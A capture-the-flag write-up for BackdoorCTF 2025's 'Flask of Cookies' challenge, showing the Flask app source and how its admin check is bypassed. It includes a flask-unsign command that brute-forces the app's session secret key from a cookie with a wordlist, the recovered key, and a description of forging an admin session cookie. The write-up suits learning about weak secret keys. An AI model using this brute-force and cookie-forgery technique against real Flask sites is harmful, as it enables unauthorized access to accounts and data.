BackdoorCTF: Flask of Cookies
CTF: BackdoorCTF 2025 Challenge files: /backdoorctf/Flask_of_Cookies
When I opened the main page, I got a simple “guest” view and a session cookie. There was also a cookie.zip with the source, so I started from the code.
app.py:
from flask import Flask, render_template, session
from dotenv import load_dotenv
load_dotenv()
import os
app=Flask(__name__)
app.secret_key=os.environ["SECRET_KEY"]
flag_value = open("./flag").read().rstrip()
def derived_level(sess,secret_key):
user=sess.get("user","")
role=sess.get("role","")
if role =="admin" and user==secret_key[::-1]:
return "superadmin"
return "user"
@app.route("/")
def index():
if "user" not in session:
session["user"]="guest"
session["role"]="user"
return render_template("index.html")
@app.route("/admin")
def admin():
level = derived_level(session,app.secret_key)
if level == "superadmin":
return render_template("admin.html",flag=flag_value)
return "Access denied.\n",403
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8000,debug=False)
We get the flag when:
@app.route("/admin")
def admin():
level = derived_level(session, app.secret_key)
if level == "superadmin":
return render_template("admin.html", flag=flag_value)
return "Access denied.\n", 403
What the function derived_level() does:
def derived_level(sess, secret_key):
user = sess.get("user", "")
role = sess.get("role", "")
if role == "admin" and user == secret_key[::-1]:
return "superadmin"
return "user"
Exploitation
Use flask-unsign to bruteforce the secret key
flask-unsign \
--unsign \
--cookie 'eyJyx2xlIXoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTZpmg.UvXrWMzkrZrXZd9mKOd12uSEexc' \
--wordlist /path/to/wordlist.txt
Found secret key:
[*] Session decodes to: {'role': 'user', 'user': 'guest'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 384 attempts
b'qwertyuiop'
Forge a new token with flask-unsign and make it the formet it requires as per code to get the flag, visit /admin and get the flag.